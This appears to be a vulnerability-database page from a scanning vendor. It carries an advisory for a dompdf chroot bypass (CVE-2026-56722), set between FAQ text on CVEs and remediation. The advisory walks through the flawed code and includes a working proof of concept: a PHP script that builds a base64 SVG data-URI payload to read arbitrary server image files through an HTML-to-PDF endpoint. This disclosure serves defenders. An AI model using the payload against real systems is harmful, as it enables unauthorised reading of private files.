How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

363,156

Total vulnerabilities in the database

CVE-2026-56722 — dompdf / dompdf

Improper Input Validation

Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the chroot restriction. The vulnerability is exploitable in the default configuration. Exploitation conditions: An external user Researcher: Nikita Sveshnikov (Positive Technologies)

Research

dompdf restricts access to local files using the chroot mechanism. By default, chroot is set to the root directory of dompdf (Options.php:350-351):

Listing 1. chroot settings

$rootDir = realpath(__DIR__ . &quot;/../&quot;);
$this-&gt;setChroot(array($rootDir));
// result: chroot = [&quot;/path/to/vendor/dompdf/dompdf&quot;]

When the HTML references a local file, Options::validateLocalUri() checks that the path resides within сhroot. A direct link to the file outside this directory is correctly blocked:

Listing 2. Blocking link

&lt;!-- BLOCKED: /tmp/ is outside chroot --&gt;
&lt;img src=&quot;file:///tmp/secret.png&quot;&gt;

How the protection is bypassed:

An attacker wraps the link to the target file in SVG format and delivers it via data: URI:

Listing 3. Wrapping link in SVG

&lt;img src=&quot;data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...&quot;&gt;

Inside the base64 payload is an SVG containing the <image> element that points to the target file:

Listing 4. Pointing to the target file

&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;
     width=&quot;589&quot; height=&quot;415&quot;&gt;
  &lt;image xlink:href=&quot;/tmp/secret.png&quot; x=&quot;0&quot; y=&quot;0&quot; width=&quot;589&quot; height=&quot;415&quot;/&gt;
&lt;/svg&gt;

Why the bypass works:

The issue is that dompdf handles the SVG twice: first through its own validator and then via  php-svg-lib — and the second pass does not apply the protection that the first pass does.

Step 1. The data:// protocol has no validation rules (Options.php:546-547):

Listing 5. Lack of rules

case &quot;data://&quot;:
    break;  // no rules

SVG content passes without any checks.

Step 2. dompdf pre‑parses the SVG and validates the links inside it (Cache.php:137-183), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.

Step 3. When rendering, the PDF backend passes the SVG to php-svg-lib with external links enabled (lib/Cpdf.php:6315-6319):

Listing 6. Passing the SVG

$doc = new \Svg\Document();
$doc-&gt;allowExternalReferences = true;  // forced
$doc-&gt;loadFile($file);

php-svg-lib is a separate library that has no information about the chroot directory or the dompdf validation rules.

Step 4. The <image> handler in php-svg-lib blocks only phar://, everything else is allowed when allowExternalReferences is true (php-svg-lib/src/Svg/Tag/Image.php:60-68):

Listing 7. phar:// blocking

if ($scheme === &quot;phar&quot;
    || ($this-&gt;document-&gt;allowExternalReferences === false &amp;&amp; $scheme !== &quot;data&quot;)) {
    return;
}
$this-&gt;document-&gt;getSurface()-&gt;drawImage($this-&gt;href, ...);

Step 5. drawImage() invokes file_get_contents() with no restrictions (php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172):

Listing 8. file_get_contents() call

$data = file_get_contents($image);  // reads ANY path

There is no chroot check. No protocol validation. The file is read and embedded into the PDF.

An example of exploitation:

Listing 9. An example of a vulnerable code (html2pdf.php)

require_once __DIR__ . &#039;/vendor/autoload.php&#039;;

$dompdf = new Dompdf\Dompdf();
$dompdf-&gt;loadHtml($_POST[&#039;html&#039;]);
$dompdf-&gt;render();
$dompdf-&gt;stream(&#039;poc.pdf&#039;, [&#039;Attachment&#039; =&gt; false]);

Listing 10. An example attack on the vulnerable code

$file = $_GET[&#039;file&#039;] ?? &#039;/tmp/user_files/user_1/private_image.png&#039;;

$svg = &#039;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;589&quot; height=&quot;415&quot;&gt;&#039;
     . &#039;&lt;image xlink:href=&quot;&#039; . htmlspecialchars($file, ENT_QUOTES) . &#039;&quot; x=&quot;0&quot; y=&quot;0&quot; width=&quot;589&quot; height=&quot;415&quot;/&gt;&#039;
     . &#039;&lt;/svg&gt;&#039;;

$html = &#039;&lt;html&gt;&lt;body&gt;&#039;
      . &#039;&lt;img src=&quot;data:image/svg+xml;base64,&#039; . base64_encode($svg) . &#039;&quot;&gt;&#039;
      . &#039;&lt;/body&gt;&lt;/html&gt;&#039;;

$url = &#039;http://example.com/html2pdf.php&#039;;
$data = [&#039;html&#039; =&gt; $html];
$headers = [&quot;Content-type: application/x-www-form-urlencoded&quot;];

// use key &#039;http&#039; even if you send the request to https://...
$options = [
    &#039;http&#039; =&gt; [
        &#039;header&#039; =&gt; $headers,
        &#039;method&#039; =&gt; &#039;POST&#039;,
        &#039;content&#039; =&gt; http_build_query($data),
        &#039;ignore_errors&#039; =&gt; true,
    ],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

Figure 1. The image was read successfully <img width="875" height="404" alt="image" src="https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2" />

Credits

Nikita Sveshnikov (Positive Technologies)

Published: Jul 22, 2026
Updated: Jul 23, 2026
CVE: CVE-2026-56722
GHSA: GHSA-cx96-42px-69fm
Severity: Medium
Exploit:
CISA KEV:

No technical information available.

CWEs:

OWASP TOP 10:

A5 - Broken Access Control

Affected Software
References

Software	From	Fixed in
dompdf / dompdf	-	3.1.6

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.